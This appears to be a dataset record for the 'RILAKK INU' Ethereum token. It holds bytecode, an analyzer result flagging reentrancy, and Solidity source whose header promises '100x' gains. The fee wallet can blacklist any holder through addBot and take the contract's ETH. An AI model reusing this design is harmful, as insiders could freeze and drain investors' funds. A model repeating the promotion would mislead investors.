dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600a54821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600a54905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600a54611e5f90919063ffffffff16565b82101561216057600a546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600c54600d54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f82600a546121d590919063ffffffff16565b600a8190555061236a81600b5461221f90919063ffffffff16565b600b819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122032790145c127c5a7449058dcc1eb0407a891b9c51643ba7ac96ec49f13ddabb764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,052 |
0xe3faaa766e5cf330446225353098801063019450
|
/*
Hi! This is RILAKK INU aka Relax INU, the chillest utility INU in the universe.
Join Us for 100x, wealth accumulation (staking),
entertainment (Play2Earn game) and much more!!!
Telegram: https://t.me/rilakkinuportal
Twitter: https://twitter.com/Rilakkinu
Website: https://www.rilakkinu.com
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Rilakkinu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _initSellTax = 11;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax = _initSellTax;
address payable public _FeeAddress;
address payable private _feeAddrWallet2;
string private constant _name = "RILAKK INU";
string private constant _symbol = "RELAX";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_feeAddrWallet2 = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = _sellTax;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory bots_) external {
require(_msgSender() == _FeeAddress);
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) external {
require(_msgSender() == _FeeAddress);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external {
require(_msgSender() == _FeeAddress);
if (maxTxAmount > 1000000000) {
_maxTxAmount = maxTxAmount * 10**9;
}
}
function _setSellTax(uint256 sellTax) external {
require(_msgSender() == _FeeAddress);
require(sellTax < 10);
_sellTax = sellTax;
}
function getTaxRate() public view returns (uint) {
return _sellTax;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063c3c8cd801161006f578063c3c8cd80146103d7578063c9567bf9146103ee578063cb66667f14610405578063cbf1ecdd14610430578063dbe8272c1461045b578063dd62ed3e1461048457610135565b806370a08231146102f0578063715018a61461032d5780638da5cb5b1461034457806395d89b411461036f578063a9059cbb1461039a57610135565b806323b872dd116100f257806323b872dd1461021f578063273123b71461025c578063313ce567146102855780635932ead1146102b05780636fc3eaec146102d957610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a25780631bbae6e0146101cd57806321bbcbb1146101f657610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104c1565b60405161015c9190612582565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061264c565b6104fe565b60405161019991906126a7565b60405180910390f35b3480156101ae57600080fd5b506101b761051c565b6040516101c491906126d1565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906126ec565b61052c565b005b34801561020257600080fd5b5061021d60048036038101906102189190612861565b6105b3565b005b34801561022b57600080fd5b50610246600480360381019061024191906128aa565b6106a9565b60405161025391906126a7565b60405180910390f35b34801561026857600080fd5b50610283600480360381019061027e91906128fd565b610782565b005b34801561029157600080fd5b5061029a61083e565b6040516102a79190612946565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d2919061298d565b610847565b005b3480156102e557600080fd5b506102ee6108f9565b005b3480156102fc57600080fd5b50610317600480360381019061031291906128fd565b61096b565b60405161032491906126d1565b60405180910390f35b34801561033957600080fd5b506103426109bc565b005b34801561035057600080fd5b50610359610b0f565b60405161036691906129c9565b60405180910390f35b34801561037b57600080fd5b50610384610b38565b6040516103919190612582565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc919061264c565b610b75565b6040516103ce91906126a7565b60405180910390f35b3480156103e357600080fd5b506103ec610b93565b005b3480156103fa57600080fd5b50610403610c0d565b005b34801561041157600080fd5b5061041a611167565b60405161042791906126d1565b60405180910390f35b34801561043c57600080fd5b50610445611171565b6040516104529190612a05565b60405180910390f35b34801561046757600080fd5b50610482600480360381019061047d91906126ec565b611197565b005b34801561049057600080fd5b506104ab60048036038101906104a69190612a20565b61120f565b6040516104b891906126d1565b60405180910390f35b60606040518060400160405280600a81526020017f52494c414b4b20494e5500000000000000000000000000000000000000000000815250905090565b600061051261050b611296565b848461129e565b6001905092915050565b6000670de0b6b3a7640000905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661056d611296565b73ffffffffffffffffffffffffffffffffffffffff161461058d57600080fd5b633b9aca008111156105b057633b9aca00816105a99190612a8f565b6011819055505b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105f4611296565b73ffffffffffffffffffffffffffffffffffffffff161461061457600080fd5b60005b81518110156106a55760016006600084848151811061063957610638612ae9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061069d90612b18565b915050610617565b5050565b60006106b6848484611469565b610777846106c2611296565b6107728560405180606001604052806028815260200161348a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610728611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a709092919063ffffffff16565b61129e565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c3611296565b73ffffffffffffffffffffffffffffffffffffffff16146107e357600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61084f611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d390612bad565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093a611296565b73ffffffffffffffffffffffffffffffffffffffff161461095a57600080fd5b600047905061096881611ad4565b50565b60006109b5600260008473ffffffffffffffffffffffffffff